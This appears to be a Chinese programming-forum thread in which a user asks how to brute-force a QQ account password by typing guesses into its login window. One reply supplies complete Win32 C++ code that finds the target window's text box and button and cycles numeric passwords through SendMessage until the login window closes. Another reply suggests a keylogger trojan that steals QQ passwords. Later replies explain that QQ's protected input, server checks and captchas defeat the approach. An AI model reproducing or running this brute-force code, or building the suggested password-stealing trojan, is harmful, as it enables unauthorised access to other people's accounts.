破解密码
怎么写一个像指定窗口输入密码,用于暴力破解如QQ密码的程序啊~~~???
就是。。。。如何得到窗体句柄,并在密码框里,输入密码。。。
说一下具体详细的方法。
想学习一下啊,我现在没分啊,若写出的步骤够详细的话,我以后赚到积分都给他,保证两个月内追加他100分,骗人天打雷劈。
谢谢帮助者啊!
[解决办法]
下面是我自己写的,如果有严重问题请轻喷,我只是自己写的好玩
各位大神放过我~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- C/C++ code
//首先声明这个是我写的给自己玩玩的程序,代码的规范性和函数的使用方法很多都不可取,只需要学习这个原理即可#include <windows.h>#include <stdio.h>#include <tchar.h>#include <iostream>using namespace std;HWND mHwnd;//为了图方便就直接全局句柄了,不要学我,命名也不规范HWND MHwnd;HWND THwnd;HWND BHwnd;HWND WHwnd;BOOL CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam)//这个是一个回调函数,只要不返回就一直运行{ if (!IsWindowVisible(hwnd)) return TRUE; // 如果窗口不可见,就忽略 TCHAR wndtext[128]; GetWindowText(hwnd, wndtext, 128); // 获取窗口标题 //这里使用strstr(wndtext, "应用程序出错")!=NULL来判断并加以处理 _tprintf(_T("%s 0x%08X - %s\n"), lParam, hwnd, wndtext);//显示窗口信息 int a=0; cin>>a;//提供一个输入借口让使用者可以确定自己需要操作的东西在哪 if(a==1) { mHwnd= hwnd; MHwnd= hwnd; WHwnd= hwnd; while(mHwnd!=NULL) { mHwnd=FindWindowEx(mHwnd, 0, NULL,NULL);//这个就是寻找窗口句柄的函数,我无限循环遍历所有句柄然后提供输入借口确定所需句柄 GetWindowText(mHwnd, wndtext, 128); _tprintf(_T("%s0x%08X - %s\n"), lParam, mHwnd, wndtext); cin>>a; if(a==1) THwnd=mHwnd; //SendMessage(hwnd,WM_SETTEXT,0,(LPARAM)_T("123456")); }; mHwnd= hwnd; MHwnd=FindWindowEx(mHwnd, 0, NULL,NULL);//一旦确立的窗口句柄那么就进行更深一层的搜索,比如一个窗口上面的按钮或文本框,同样是手动确认目标,这里只写了两层 while(MHwnd!=NULL) { GetWindowText(MHwnd, wndtext, 128); _tprintf(_T("%s0x%08X - %s\n"), lParam, MHwnd, wndtext); cin>>a; if(a==1) BHwnd=MHwnd; MHwnd=FindWindowEx(mHwnd, MHwnd, NULL,NULL); }; } return TRUE;}int main(){ EnumWindows(EnumWindowsProc, (LPARAM)_T("+"));//调用这个函数之后就已经手动确认自己需要的按钮和输入框了,以下就是密码暴力(穷举)破解过程 char s[10]; MSG message; int mima=0; int temp=0; int weishu; cout<<"设置位数"<<endl; cin>>weishu; switch(weishu) { case 4:weishu=9999;break; case 5:weishu=99999;break; case 6:weishu=999999;break; case 7:weishu=9999999;break; case 8:weishu=99999999;break; } for(;mima<=weishu;mima++) { sprintf(s, "%d",mima); SendMessage(THwnd,WM_SETTEXT,0,(LPARAM)s);//向指定的文本框发送指定的消息过去,我这里是发送的要输入的密码 SendMessage(BHwnd,BM_CLICK,0,0);//向指定的按钮发送点击消息 if(!IsWindow(WHwnd))//如果以上操作导致输入密码的窗口不再是窗口了就说明破解成功,退出循环,反之继续试密码 break; } if(mima>weishu) cout<<"未能破解"<<endl;//最后输出的密码因为上面判断用的API函数有延迟,所以一般会有几十到一百多的误差 if(mima<=weishu) cout<<"密码是"<<mima<<endl; system("PAUSE"); return 0;}//使用本程序的方法就是://运行程序时会输出当前窗口的信息,输入1回车表示确认,其他表示跳过,跳过会继续显示其他窗口信息,确认会深入搜索两层的子窗口,当然你可以改代码找更深的子窗口。确认和跳过的方法一样//如果想单纯的做游戏外挂直接找按键精灵没必要找这个麻烦的东西,但是这个东西可以实现很多很多按键精灵没有办法实现的操作,看你的需要了
[解决办法]
有梦想就有希望,lz不错,努力。
推荐去看雪论坛经常看看,多学习,那有你想要的。
www.pediy.com
[解决办法]
1、需要密码字典
2、需要知道加密算法
3、狗屎运
4、鉴于以上比较难,推荐做比较简单的键盘扫描,如果发现QQ启动就进行扫描,也就是盗密码木马
[解决办法]
现在好多都有校验码的
单纯暴力破解已经不行了
[解决办法]
------解决方案--------------------
QQ 的密码登录时用的是保护控件不是普通的文本框,用消息根本不能对其进行任操作,它是直接读硬件,API对它无效。你还是请他吃饭好了。还有QQ的密码是经过MD5 循环加密,然后发到服务器端进行密文的验证,所以用暴力破解法你就别想了。
[解决办法]
[解决办法]
嗯,那是以前,QQ曾经用过一段韩国的保护技术,就是直接读键盘控制器,但是那个结束兼容性不好,极少数情况会蓝屏。所以新的采用的键盘钩子读的方式,这种方式不是特别安全,但是兼容性好。
不过应该仍然是无法直接API和SetWindow消息操作的,内部把那些API hook了。
不过注意QQ是在服务器进行验证的,为了防止暴力破解,每次验证的时间都比较长,有的时候要6、7秒,穷举10000个密码就要10个小时吧。10000个密码才不到3位呢,更多的为话,时间呈指数级增长啊,6位就要近700个世纪呢。
而且QQ本地保存了MD5,如果发现和上次输入的密码MD5不同,可能会提示输入验证码。
而且服务器那边如果检测发现帐户有问题,比如连续3、4次密码错误,也要输入验证码。
验证码机器识别这方面还一直是个难题呢,所以机器暴力穷举几乎是别想了。